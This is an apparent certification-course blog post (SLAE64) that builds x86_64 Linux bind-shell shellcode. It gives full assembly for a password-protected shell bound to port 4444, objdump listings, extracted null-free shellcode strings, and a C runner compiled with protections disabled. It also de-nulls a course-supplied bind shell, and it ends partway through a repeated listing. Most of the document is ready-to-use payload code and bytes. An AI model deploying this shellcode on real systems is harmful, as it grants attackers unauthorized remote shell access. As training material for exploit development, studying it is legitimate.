Student ID: SLAE64-1611
Assignment One: Creating Shellcode to Bind a Shell Over TCP in 64bit
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert 64 Certification:
https://www.pentesteracademy.com/course?id=7
All code can be found in: https://github.com/securitychops/security-tube-slae64
All work was tested on a 64bit version of Ubuntu 18.04.1 LTS
TLDR; - JMP short Final_Shellcode
Deja Vu
For those of you who have read any of my previous blog posts relating to the x86 version of the SLAE this is going to look a little bit familiar.
Most of the assignments are going to be extremely similar in nature so a lot of the work I am going to be doing will primarily be porting my x86 assembly code over to x86_64 … it should be an interesting ride :)
A Few Differences …
Before continuing on, here is a wonderful resource for dealing with syscalls within x86_64 Linux: http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
You can also find a less friendly version on your x86_64 Ubuntu machine located at: /usr/include/x86_64-linux-gnu/asm/uninstd_64.h
Several things to take into consideration when using a syscall on an x86_64 Linux based architecture is the convention used when dealing with parameters:
You will trigger the syscall by loading values into the rax register and pass parameters in the other registers as such:
syscall | param 1 | param 2 | param 3 | param 4 | param 5 | param 6 |
---|---|---|---|---|---|---|
rax | rdi | rsi | rdx | r10 | r8 | r9 |
and then calling syscall which will store the return value from the syscall in rax
Part 1 of 2: Creating Shellcode to Bind a Shell Over TCP in x86_64
If you have not already read my post from the 32bit version of the SLAE (Creating Shellcode to Bind a Shell Over TCP (x86 edition)) then I would highly encourage you to do so before continuing forward since I will not be going into quite the same level of extreme detail I did in that post…
Below I present my initial port of the x86 shell-bind code that was written for the 32bit version of the course Check it out GitHub
; Student ID : SLAE64-1611
; Student Name : Jonathan "Chops" Crosby
; Assignment 1 : Shell Bind TCP (Linux/x86_64) Assembly
; File Name : shell-bind.nasm
global _start
section .text
_start:
jmp real_start
enter_password: db 'Enter the secret password to continue: ', 0xa
real_start:
; SYS_SOCKET socket(2)
; rax : sys_socket 41
; rdi : int family
; rsi : int type
; rdx : int protocol
xor rax, rax ; need to zero our rax
; so we can load it with
; the socket syscall 0x41
mov rdi, rax ; zeroing out rdi
mov rsi, rdi ; zeroing out rsi
mov rdx, rsi ; zeroing out rdx
add rax, 41 ; setting rax to socket
add rdi, 2 ; family / AF_INET
add rsi, 1 ; type / SOCK_STREAM
; leave rdx alone since it is already 0x00
syscall ; make the call to socket
; socketid will be in rax
; SYS_BIND bind(2)
; rax : sys_bind 49
; rdi : socketid which will be in rax initially
; rsi : struct sokaddr *umyaddr
; rdx : int addrlen
xchg rdi, rax ; move socketid into rdi
xor rax, rax ; zero out rax
; rdi already contains socketid
mov rsi, rax ; zeroing out rsi
mov rdx, rsi ; zeroing out rdx
xor r9, r9 ; zero out r9
push r9 ; pushing 0.0.0.0 into in_addr
push word 0x5C11 ; port number (least significant
; byte first ... 0x115C is 4444)
push word 0x02 ; AF_INET - which is 0x02
mov rsi, rsp ; moving stack address to rsi
add rdx, 16 ; 16 byts long (or 32bit)
add rax, 49 ; set rax to sys_bind
syscall ; make the call to bind
; socketid will be in rax
; SYS_LISTEN listen(2)
; rax : sys_listen 50
; rdi : socketid which is already in rdi
; rsi : int backlog
xor rax, rax ; zero out rax
; socketid already in rsi
mov rdx, rax ; zeroing out rdx
add rdx, 0x01 ; moving backlog number to rdx
add rax, 50 ; setting rax to sys_listen
syscall ; make call to listen
; SYS_ACCEPT accept(2)
; Returns clientid needed for dup2
; rax : sys_accept 43
; rdi : socketid already in rdi
; rsi : struct sockaddr *upeer_sockaddr
; rdx : int *upeer_addrlen
xor rax, rax ; zero out rax
; socketid already in rsi
mov rsi, rax ; moving null to rsi
mov rdx, rax ; moving null to rdx
add rax, 43 ; setting rax to sys_connect
syscall ; make call to listen
; sys_dup2
xchg rdi, rax ; moves clientid to rdi
; rax : sys_dup2 33
; rdi : already contains clientid
; rsi : 1 to 3 in loop
xor r9, r9 ; zeroing out loop counter
loopin:
xor rax, rax ; zero out rax
add rax, 33 ; setting rax to sys_dup2
mov rsi, r9 ; move fileid to duplicate
syscall ; call dup2
inc r9 ; increase r9 by 0x01
cmp r9, 3 ; compare r9 to 0x03
jne loopin
; We need to check for password here
; 1. ask for password
; 2. check password
; sys_read
; letup loop to checking the password
checkpassword:
; sys_write
; rax : 1
; rdi : unsigned int fd : 1 for stdout
; rsi : const char *buf : string
; rdx : size_t count : how big
xor rax, rax ; zero out rax
mov rdx, rax ; zero out rdx
inc rax ; increase rax to 1
mov rdi, rax ; move 1 into rdi
lea rsi, [rel enter_password] ; moving enter_password
add rdx, 39 ; setting size enter_password
syscall
; sys_read
; rdi : unsigned int fd : 0 for stdin
; rsi : char *buf : stack?
; rdx : size_t count : how big
xor rax, rax ; zero out rax
mov rdi, rax ; zero out rdi
mov rdx, rax ; zero out rdx
; leave rax alone since read is 0
mov rsi, rsp ; set buffer to stack
add rdx, 8 ; setting size of Password
syscall ; calling read
mov rdi, rsp ; setting rdi to input buffer
mov rax, 0x64726f7773736150 ; moving Password into buffer
scasd ; scanning for a match
jne checkpassword ; if not a match then re-ask for password
; sys_execve
; rax : sys_execve 59
; rdi : const char *filename
; rsi : const char *const argv[]
; rdx : const char *const envp[]
xor rax, rax ; zeroing out rax
add rax, 59 ; setting rax to sys_execve
xor r9, r9 ; zeroing out r9
push r9 ; pushing null to stack
mov rbx, 0x68732f6e69622f2f ; moving "//bin/sh"
push rbx ; pushing "//bin/sh"
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;rsp now looks like: "//bin/sh,0x0000000000000000";
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
mov rdi, rsp ; moving the param to rdi
; rdi now contains "//bin/sh,0x0000000000000000"
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we look like: execve("//bin/sh,0x0000000000000000", NOT-SET-YET, NOT-SET-YET);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we need to get 0x0000000000000000 into rdx
push r9 ; r9 is still 0x0000000000000000 so push it to rsp
mov rdx, rsp ; we need to move a 0x0000000000000000 into
; the third parameter in rdx
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we look like: execve("//bin/sh,0x0000000000000000", NOT-SET-YET, 0x0000000000000000);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; the second parameter is needs to be "//bin/sh,0x0000000000000000"
; which we can accomplish by moving rdi onto the stack
; and then moving rsp into rsi since it will be on the stack
push rdi ; pushing "//bin/sh,0x0000000000000000" back to the stack
mov rsi, rsp ; moving the address of rdi (on the stack) to ecx
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we look like: execve("//bin/sh,0x00000000000000000", *"//bin/sh,0x0000000000000000", 0x0000000000000000);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
syscall ; calling sys_execve
Those Pesky Nulls Are No More
So now we have an initial set of code that works, we need to now check it for nulls with the following command:
objdump -d -M intel shell-bind
which produces the following output:
shell-bind: file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
400080: eb 28 jmp 4000aa <real_start>
0000000000400082 <enter_password>:
400082: 45 6e rex.RB outs dx,BYTE PTR ds:[rsi]
400084: 74 65 je 4000eb <real_start+0x41>
400086: 72 20 jb 4000a8 <enter_password+0x26>
400088: 74 68 je 4000f2 <real_start+0x48>
40008a: 65 20 73 65 and BYTE PTR gs:[rbx+0x65],dh
40008e: 63 72 65 movsxd esi,DWORD PTR [rdx+0x65]
400091: 74 20 je 4000b3 <real_start+0x9>
400093: 70 61 jo 4000f6 <real_start+0x4c>
400095: 73 73 jae 40010a <real_start+0x60>
400097: 77 6f ja 400108 <real_start+0x5e>
400099: 72 64 jb 4000ff <real_start+0x55>
40009b: 20 74 6f 20 and BYTE PTR [rdi+rbp*2+0x20],dh
40009f: 63 6f 6e movsxd ebp,DWORD PTR [rdi+0x6e]
4000a2: 74 69 je 40010d <loopin+0x1>
4000a4: 6e outs dx,BYTE PTR ds:[rsi]
4000a5: 75 65 jne 40010c <loopin>
4000a7: 3a 20 cmp ah,BYTE PTR [rax]
4000a9: 0a .byte 0xa
00000000004000aa <real_start>:
4000aa: 48 31 c0 xor rax,rax
4000ad: 48 89 c7 mov rdi,rax
4000b0: 48 89 fe mov rsi,rdi
4000b3: 48 89 f2 mov rdx,rsi
4000b6: 48 83 c0 29 add rax,0x29
4000ba: 48 83 c7 02 add rdi,0x2
4000be: 48 83 c6 01 add rsi,0x1
4000c2: 0f 05 syscall
4000c4: 48 97 xchg rdi,rax
4000c6: 48 31 c0 xor rax,rax
4000c9: 48 89 c6 mov rsi,rax
4000cc: 48 89 f2 mov rdx,rsi
4000cf: 4d 31 c9 xor r9,r9
4000d2: 41 51 push r9
4000d4: 66 68 11 5c pushw 0x5c11
4000d8: 66 6a 02 pushw 0x2
4000db: 48 89 e6 mov rsi,rsp
4000de: 48 83 c2 10 add rdx,0x10
4000e2: 48 83 c0 31 add rax,0x31
4000e6: 0f 05 syscall
4000e8: 48 31 c0 xor rax,rax
4000eb: 48 89 c2 mov rdx,rax
4000ee: 48 83 c2 01 add rdx,0x1
4000f2: 48 83 c0 32 add rax,0x32
4000f6: 0f 05 syscall
4000f8: 48 31 c0 xor rax,rax
4000fb: 48 89 c6 mov rsi,rax
4000fe: 48 89 c2 mov rdx,rax
400101: 48 83 c0 2b add rax,0x2b
400105: 0f 05 syscall
400107: 48 97 xchg rdi,rax
400109: 4d 31 c9 xor r9,r9
000000000040010c <loopin>:
40010c: 48 31 c0 xor rax,rax
40010f: 48 83 c0 21 add rax,0x21
400113: 4c 89 ce mov rsi,r9
400116: 0f 05 syscall
400118: 49 ff c1 inc r9
40011b: 49 83 f9 03 cmp r9,0x3
40011f: 75 eb jne 40010c <loopin>
0000000000400121 <checkpassword>:
400121: 48 31 c0 xor rax,rax
400124: 48 89 c2 mov rdx,rax
400127: 48 ff c0 inc rax
40012a: 48 89 c7 mov rdi,rax
40012d: 48 8d 35 4e ff ff ff lea rsi,[rip+0xffffffffffffff4e] # 400082 <enter_password>
400134: 48 83 c2 27 add rdx,0x27
400138: 0f 05 syscall
40013a: 48 31 c0 xor rax,rax
40013d: 48 89 c7 mov rdi,rax
400140: 48 89 c2 mov rdx,rax
400143: 48 89 e6 mov rsi,rsp
400146: 48 83 c2 08 add rdx,0x8
40014a: 0f 05 syscall
40014c: 48 89 e7 mov rdi,rsp
40014f: 48 b8 50 61 73 73 77 movabs rax,0x64726f7773736150
400156: 6f 72 64
400159: af scas eax,DWORD PTR es:[rdi]
40015a: 75 c5 jne 400121 <checkpassword>
40015c: 48 31 c0 xor rax,rax
40015f: 48 83 c0 3b add rax,0x3b
400163: 4d 31 c9 xor r9,r9
400166: 41 51 push r9
400168: 48 bb 2f 2f 62 69 6e movabs rbx,0x68732f6e69622f2f
40016f: 2f 73 68
400172: 53 push rbx
400173: 48 89 e7 mov rdi,rsp
400176: 41 51 push r9
400178: 48 89 e2 mov rdx,rsp
40017b: 57 push rdi
40017c: 48 89 e6 mov rsi,rsp
40017f: 0f 05 syscall
Since we wrote the code to not have any nulls we are free to convert it to shellcode. Doing so will involve borrowing the following most excellent command provided by Vivek during the SLAE64 course!
for i in $(objdump -D shell-bind.o |grep "^ " |cut -f2);do echo -n '\x'$i;done;echo
running that command against our object produces the following output:
\xeb\x28\x45\x6e\x74\x65\x72\x20\x74\x68\x65\x20\x73\x65\x63\x72\x65\x74\x20\x70\x61\x73\x73\x77\x6f\x72\x64\x20\x74\x6f\x20\x63\x6f\x6e\x74\x69\x6e\x75\x65\x3a\x20\x0a\x48\x31\xc0\x48\x89\xc7\x48\x89\xfe\x48\x89\xf2\x48\x83\xc0\x29\x48\x83\xc7\x02\x48\x83\xc6\x01\x0f\x05\x48\x97\x48\x31\xc0\x48\x89\xc6\x48\x89\xf2\x4d\x31\xc9\x41\x51\x66\x68\x11\x5c\x66\x6a\x02\x48\x89\xe6\x48\x83\xc2\x10\x48\x83\xc0\x31\x0f\x05\x48\x31\xc0\x48\x89\xc2\x48\x83\xc2\x01\x48\x83\xc0\x32\x0f\x05\x48\x31\xc0\x48\x89\xc6\x48\x89\xc2\x48\x83\xc0\x2b\x0f\x05\x48\x97\x4d\x31\xc9\x48\x31\xc0\x48\x83\xc0\x21\x4c\x89\xce\x0f\x05\x49\xff\xc1\x49\x83\xf9\x03\x75\xeb\x48\x31\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc7\x48\x8d\x35\x4e\xff\xff\xff\x48\x83\xc2\x27\x0f\x05\x48\x31\xc0\x48\x89\xc7\x48\x89\xc2\x48\x89\xe6\x48\x83\xc2\x08\x0f\x05\x48\x89\xe7\x48\xb8\x50\x61\x73\x73\x77\x6f\x72\x64\xaf\x75\xc5\x48\x31\xc0\x48\x83\xc0\x3b\x4d\x31\xc9\x41\x51\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x41\x51\x48\x89\xe2\x57\x48\x89\xe6\x0f\x05
which we can then insert into our proof of concept C program that will execute shellcode!
// Student ID : SLAE64-1611
// Student Name : Jonathan "Chops" Crosby
// Assignment 1 : Shell Bind TCP (Linux/x86_64) Assembly
// File Name : shellcode.c
#include<stdio.h>
#include<string.h>
//compile with: gcc shellcode.c -o shellcode -fno-stack-protector -z execstack
unsigned char code[] = \
"\xeb\x28\x45\x6e\x74\x65\x72\x20\x74\x68\x65\x20\x73\x65\x63\x72\x65\x74\x20\x70\x61\x73\x73\x77\x6f\x72\x64\x20\x74\x6f\x20\x63\x6f\x6e\x74\x69\x6e\x75\x65\x3a\x20\x0a\x48\x31\xc0\x48\x89\xc7\x48\x89\xfe\x48\x89\xf2\x48\x83\xc0\x29\x48\x83\xc7\x02\x48\x83\xc6\x01\x0f\x05\x48\x97\x48\x31\xc0\x48\x89\xc6\x48\x89\xf2\x4d\x31\xc9\x41\x51\x66\x68\x11\x5c\x66\x6a\x02\x48\x89\xe6\x48\x83\xc2\x10\x48\x83\xc0\x31\x0f\x05\x48\x31\xc0\x48\x89\xc2\x48\x83\xc2\x01\x48\x83\xc0\x32\x0f\x05\x48\x31\xc0\x48\x89\xc6\x48\x89\xc2\x48\x83\xc0\x2b\x0f\x05\x48\x97\x4d\x31\xc9\x48\x31\xc0\x48\x83\xc0\x21\x4c\x89\xce\x0f\x05\x49\xff\xc1\x49\x83\xf9\x03\x75\xeb\x48\x31\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc7\x48\x8d\x35\x4e\xff\xff\xff\x48\x83\xc2\x27\x0f\x05\x48\x31\xc0\x48\x89\xc7\x48\x89\xc2\x48\x89\xe6\x48\x83\xc2\x08\x0f\x05\x48\x89\xe7\x48\xb8\x50\x61\x73\x73\x77\x6f\x72\x64\xaf\x75\xc5\x48\x31\xc0\x48\x83\xc0\x3b\x4d\x31\xc9\x41\x51\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x41\x51\x48\x89\xe2\x57\x48\x89\xe6\x0f\x05";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-1/shellcode.c
which needs to be compiled with the following flags in order to disable all of the normal protections against executing dangerous code like we are about to…
gcc shellcode.c -o shellcode -fno-stack-protector -z execstack
At this point we have a fully functional application (with no stack protection) that can execute our shellcode simulating an exploitation!
Connecting from local client:
Part 2 of 2: DeNullin’ the SecurityTube Provided Bind Assembly Code
So for part two we are asked to take assembly code provided by our friends at SecurityTube for their bind shell and remove all of the nulls that they were kind enough to leave in… ;)
Their Bind Shell
global _start
_start:
; sock = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2
; SOCK_STREAM = 1
; syscall number 41
mov rax, 41
mov rdi, 2
mov rsi, 1
mov rdx, 0
syscall
; copy socket descriptor to rdi for future use
mov rdi, rax
; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = INADDR_ANY
; bzero(&server.sin_zero, 8)
xor rax, rax
push rax
mov dword [rsp-4], eax
mov word [rsp-6], 0x5c11
mov word [rsp-8], 0x2
sub rsp, 8
; bind(sock, (struct sockaddr *)&server, sockaddr_len)
; syscall number 49
mov rax, 49
mov rsi, rsp
mov rdx, 16
syscall
; listen(sock, MAX_CLIENTS)
; syscall number 50
mov rax, 50
mov rsi, 2
syscall
; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
; syscall number 43
mov rax, 43
sub rsp, 16
mov rsi, rsp
mov byte [rsp-1], 16
sub rsp, 1
mov rdx, rsp
syscall
; store the client socket description
mov r9, rax
; close parent
mov rax, 3
syscall
; duplicate sockets
; dup2 (new, old)
mov rdi, r9
mov rax, 33
mov rsi, 0
syscall
mov rax, 33
mov rsi, 1
syscall
mov rax, 33
mov rsi, 2
syscall
; execve
; First NULL push
xor rax, rax
push rax
; push /bin//sh in reverse
mov rbx, 0x68732f2f6e69622f
push rbx
; store /bin//sh address in RDI
mov rdi, rsp
; Second NULL push
push rax
; set RDX
mov rdx, rsp
; Push address of /bin//sh
push rdi
; set RSI
mov rsi, rsp
; Call the Execve syscall
add rax, 59
syscall
Like last time lets start by compiling and then running objdump to figure out all the places where we are left with nulls.
objdump -d -M intel denull
Below is the dumped object output:
denull: file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
400080: b8 29 00 00 00 mov eax,0x29
400085: bf 02 00 00 00 mov edi,0x2
40008a: be 01 00 00 00 mov esi,0x1
40008f: ba 00 00 00 00 mov edx,0x0
400094: 0f 05 syscall
400096: 48 89 c7 mov rdi,rax
400099: 48 31 c0 xor rax,rax
40009c: 50 push rax
40009d: 89 44 24 fc mov DWORD PTR [rsp-0x4],eax
4000a1: 66 c7 44 24 fa 11 5c mov WORD PTR [rsp-0x6],0x5c11
4000a8: 66 c7 44 24 f8 02 00 mov WORD PTR [rsp-0x8],0x2
4000af: 48 83 ec 08 sub rsp,0x8
4000b3: b8 31 00 00 00 mov eax,0x31
4000b8: 48 89 e6 mov rsi,rsp
4000bb: ba 10 00 00 00 mov edx,0x10
4000c0: 0f 05 syscall
4000c2: b8 32 00 00 00 mov eax,0x32
4000c7: be 02 00 00 00 mov esi,0x2
4000cc: 0f 05 syscall
4000ce: b8 2b 00 00 00 mov eax,0x2b
4000d3: 48 83 ec 10 sub rsp,0x10
4000d7: 48 89 e6 mov rsi,rsp
4000da: c6 44 24 ff 10 mov BYTE PTR [rsp-0x1],0x10
4000df: 48 83 ec 01 sub rsp,0x1
4000e3: 48 89 e2 mov rdx,rsp
4000e6: 0f 05 syscall
4000e8: 49 89 c1 mov r9,rax
4000eb: b8 03 00 00 00 mov eax,0x3
4000f0: 0f 05 syscall
4000f2: 4c 89 cf mov rdi,r9
4000f5: b8 21 00 00 00 mov eax,0x21
4000fa: be 00 00 00 00 mov esi,0x0
4000ff: 0f 05 syscall
400101: b8 21 00 00 00 mov eax,0x21
400106: be 01 00 00 00 mov esi,0x1
40010b: 0f 05 syscall
40010d: b8 21 00 00 00 mov eax,0x21
400112: be 02 00 00 00 mov esi,0x2
400117: 0f 05 syscall
400119: 48 31 c0 xor rax,rax
40011c: 50 push rax
40011d: 48 bb 2f 62 69 6e 2f movabs rbx,0x68732f2f6e69622f
400124: 2f 73 68
400127: 53 push rbx
400128: 48 89 e7 mov rdi,rsp
40012b: 50 push rax
40012c: 48 89 e2 mov rdx,rsp
40012f: 57 push rdi
400130: 48 89 e6 mov rsi,rsp
400133: 48 83 c0 3b add rax,0x3b
400137: 0f 05 syscall
At this point we simply need to go in and do the usual type of alterations, xor things and instead of doing a mov we will inc, add or sub where needed in order to get the values of the registers correct without the baggage of extra nulls that mov will bring!
global _start
_start:
; sock = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2
; SOCK_STREAM = 1
; syscall number 41
xor rax, rax
mov rdi, rax
mov rsi, rax
mov rdx, rax
add rax, 41
add rdi, 2
inc rsi
syscall
; copy socket descriptor to rdi for future use
mov rdi, rax
; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = INADDR_ANY
; bzero(&server.sin_zero, 8)
xor rax, rax
push rax
xor r9, r9
add r9, 2
mov dword [rsp-4], eax
mov word [rsp-6], 0x5c11
mov word [rsp-8], r9w
sub rsp, 8
; bind(sock, (struct sockaddr *)&server, sockaddr_len)
; syscall number 49
xor rax, rax
mov rdx, rax
add rax, 49
mov rsi, rsp
add rdx, 16
syscall
; listen(sock, MAX_CLIENTS)
; syscall number 50
xor rax, rax
mov rsi, rax
add rax, 50
add rsi, 2
syscall
; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
; syscall number 43
xor rax, rax
mov rsi, rax
add rax, 43
sub rsp, 16
mov rsi, rsp
mov byte [rsp-1], 16
sub rsp, 1
mov rdx, rsp
syscall
; store the client socket description
mov r9, rax
; close parent
xor rax, rax
add rax, 3
syscall
; duplicate sockets
; dup2 (new, old)
mov rdi, r9
xor rax, rax
mov rsi, rax
add rax, 33
syscall
add rax, 33
add rsi, 1
syscall
xor rax, rax
mov rsi, rax
add rax, 33
add rsi, 2
syscall
; execve
; First NULL push
xor rax, rax
push rax
; push /bin//sh in reverse
mov rbx, 0x68732f2f6e69622f
push rbx
; store /bin//sh address in RDI
mov rdi, rsp
; Second NULL push
push rax
; set RDX
mov rdx, rsp
; Push address of /bin//sh
push rdi
; set RSI
mov rsi, rsp
; Call the Execve syscall
add rax, 59
syscall
Which produces the following null free objdump:
denull: file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
400080: 48 31 c0 xor rax,rax
400083: 48 89 c7 mov rdi,rax
400086: 48 89 c6 mov rsi,rax
400089: 48 89 c2 mov rdx,rax
40008c: 48 83 c0 29 add rax,0x29
400090: 48 83 c7 02 add rdi,0x2
400094: 48 ff c6 inc rsi
400097: 0f 05 syscall
400099: 48 89 c7 mov rdi,rax
40009c: 48 31 c0 xor rax,rax
40009f: 50 push rax
4000a0: 4d 31 c9 xor r9,r9
4000a3: 49 83 c1 02 add r9,0x2
4000a7: 89 44 24 fc mov DWORD PTR [rsp-0x4],eax
4000ab: 66 c7 44 24 fa 11 5c mov WORD PTR [rsp-0x6],0x5c11
4000b2: 66 44 89 4c 24 f8 mov WORD PTR [rsp-0x8],r9w
4000b8: 48 83 ec 08 sub rsp,0x8
4000bc: 48 31 c0 xor rax,rax
4000bf: 48 89 c2 mov rdx,rax
4000c2: 48 83 c0 31 add rax,0x31
4000c6: 48 89 e6 mov rsi,rsp
4000c9: 48 83 c2 10 add rdx,0x10
4000cd: 0f 05 syscall
4000cf: 48 31 c0 xor rax,rax
4000d2: 48 89 c6 mov rsi,rax
4000d5: 48 83 c0 32 add rax,0x32
4000d9: 48 83 c6 02 add rsi,0x2
4000dd: 0f 05 syscall
4000df: 48 31 c0 xor rax,rax
4000e2: 48 89 c6 mov rsi,rax
4000e5: 48 83 c0 2b add rax,0x2b
4000e9: 48 83 ec 10 sub rsp,0x10
4000ed: 48 89 e6 mov rsi,rsp
4000f0: c6 44 24 ff 10 mov BYTE PTR [rsp-0x1],0x10
4000f5: 48 83 ec 01 sub rsp,0x1
4000f9: 48 89 e2 mov rdx,rsp
4000fc: 0f 05 syscall
4000fe: 49 89 c1 mov r9,rax
400101: 48 31 c0 xor rax,rax
400104: 48 83 c0 03 add rax,0x3
400108: 0f 05 syscall
40010a: 4c 89 cf mov rdi,r9
40010d: 48 31 c0 xor rax,rax
400110: 48 89 c6 mov rsi,rax
400113: 48 83 c0 21 add rax,0x21
400117: 0f 05 syscall
400119: 48 83 c0 21 add rax,0x21
40011d: 48 83 c6 01 add rsi,0x1
400121: 0f 05 syscall
400123: 48 31 c0 xor rax,rax
400126: 48 89 c6 mov rsi,rax
400129: 48 83 c0 21 add rax,0x21
40012d: 48 83 c6 02 add rsi,0x2
400131: 0f 05 syscall
400133: 48 31 c0 xor rax,rax
400136: 50 push rax
400137: 48 bb 2f 62 69 6e 2f movabs rbx,0x68732f2f6e69622f
40013e: 2f 73 68
400141: 53 push rbx
400142: 48 89 e7 mov rdi,rsp
400145: 50 push rax
400146: 48 89 e2 mov rdx,rsp
400149: 57 push rdi
40014a: 48 89 e6 mov rsi,rsp
40014d: 48 83 c0 3b add rax,0x3b
400151: 0f 05 syscall
And the shellcode just for good measure!
\x48\x31\xc0\x48\x89\xc7\x48\x89\xc6\x48\x89\xc2\x48\x83\xc0\x29\x48\x83\xc7\x02\x48\xff\xc6\x0f\x05\x48\x89\xc7\x48\x31\xc0\x50\x4d\x31\xc9\x49\x83\xc1\x02\x89\x44\x24\xfc\x66\xc7\x44\x24\xfa\x11\x5c\x66\x44\x89\x4c\x24\xf8\x48\x83\xec\x08\x48\x31\xc0\x48\x89\xc2\x48\x83\xc0\x31\x48\x89\xe6\x48\x83\xc2\x10\x0f\x05\x48\x31\xc0\x48\x89\xc6\x48\x83\xc0\x32\x48\x83\xc6\x02\x0f\x05\x48\x31\xc0\x48\x89\xc6\x48\x83\xc0\x2b\x48\x83\xec\x10\x48\x89\xe6\xc6\x44\x24\xff\x10\x48\x83\xec\x01\x48\x89\xe2\x0f\x05\x49\x89\xc1\x48\x31\xc0\x48\x83\xc0\x03\x0f\x05\x4c\x89\xcf\x48\x31\xc0\x48\x89\xc6\x48\x83\xc0\x21\x0f\x05\x48\x83\xc0\x21\x48\x83\xc6\x01\x0f\x05\x48\x31\xc0\x48\x89\xc6\x48\x83\xc0\x21\x48\x83\xc6\x02\x0f\x05\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05
Final_Shellcode:
Below are the contents of the final code needed to generate a locally tcp bound shell that is available on all IPv4 interfaces on port 4444.
Our Bind Shell Assembly Code in x86_64 (Part 1)
; Student ID : SLAE64-1611
; Student Name : Jonathan "Chops" Crosby
; Assignment 1 : Shell Bind TCP (Linux/x86_64) Assembly
; File Name : shell-bind.nasm
global _start
section .text
_start:
jmp real_start
enter_password: db 'Enter the secret password to continue: ', 0xa
real_start:
; SYS_SOCKET socket(2)
; rax : sys_socket 41
; rdi : int family
; rsi : int type
; rdx : int protocol
xor rax, rax ; need to zero our rax
; so we can load it with
; the socket syscall 0x41
mov rdi, rax ; zeroing out rdi
mov rsi, rdi ; zeroing out rsi
mov rdx, rsi ; zeroing out rdx
add rax, 41 ; setting rax to socket
add rdi, 2 ; family / AF_INET
add rsi, 1 ; type / SOCK_STREAM
; leave rdx alone since it is already 0x00
syscall ; make the call to socket
; socketid will be in rax
; SYS_BIND bind(2)
; rax : sys_bind 49
; rdi : socketid which will be in rax initially
; rsi : struct sokaddr *umyaddr
; rdx : int addrlen
xchg rdi, rax ; move socketid into rdi
xor rax, rax ; zero out rax
; rdi already contains socketid
mov rsi, rax ; zeroing out rsi
mov rdx, rsi ; zeroing out rdx
xor r9, r9 ; zero out r9
push r9 ; pushing 0.0.0.0 into in_addr
push word 0x5C11 ; port number (least significant
; byte first ... 0x115C is 4444)
push word 0x02 ; AF_INET - which is 0x02
mov rsi, rsp ; moving stack address to rsi
add rdx, 16 ; 16 byts long (or 32bit)
add rax, 49 ; set rax to sys_bind
syscall ; make the call to bind
; socketid will be in rax
; SYS_LISTEN listen(2)
; rax : sys_listen 50
; rdi : socketid which is already in rdi
; rsi : int backlog
xor rax, rax ; zero out rax
; socketid already in rsi
mov rdx, rax ; zeroing out rdx
add rdx, 0x01 ; moving backlog number to rdx
add rax, 50 ; setting rax to sys_listen
syscall ; make call to listen
; SYS_ACCEPT accept(2)
; Returns clientid needed for dup2
; rax : sys_accept 43
; rdi : socketid already in rdi
; rsi : struct sockaddr *upeer_sockaddr
; rdx : int *upeer_addrlen
xor rax, rax ; zero out rax
; socketid already in rsi
mov rsi, rax ; moving null to rsi
mov rdx, rax ; moving null to rdx
add rax, 43 ; setting rax to sys_connect
syscall ; make call to listen
; sys_dup2
xchg rdi, rax ; moves clientid to rdi
; rax : sys_dup2 33
; rdi : already contains clientid
; rsi : 1 to 3 in loop
xor r9, r9 ; zeroing out loop counter
loopin:
xor rax, rax ; zero out rax
add rax, 33 ; setting rax to sys_dup2
mov rsi, r9 ; move fileid to duplicate
syscall ; call dup2
inc r9 ; increase r9 by 0x01
cmp r9, 3 ; compare r9 to 0x03
jne loopin
; We need to check for password here
; 1. ask for password
; 2. check password
; sys_read
; letup loop to checking the password
checkpassword:
; sys_write
; rax : 1
; rdi : unsigned int fd : 1 for stdout
; rsi : const char *buf : string
; rdx : size_t count : how big
xor rax, rax ; zero out rax
mov rdx, rax ; zero out rdx
inc rax ; increase rax to 1
mov rdi, rax ; move 1 into rdi
lea rsi, [rel enter_password] ; moving enter_password
add rdx, 39 ; setting size enter_password
syscall
; sys_read
; rdi : unsigned int fd : 0 for stdin
; rsi : char *buf : stack?
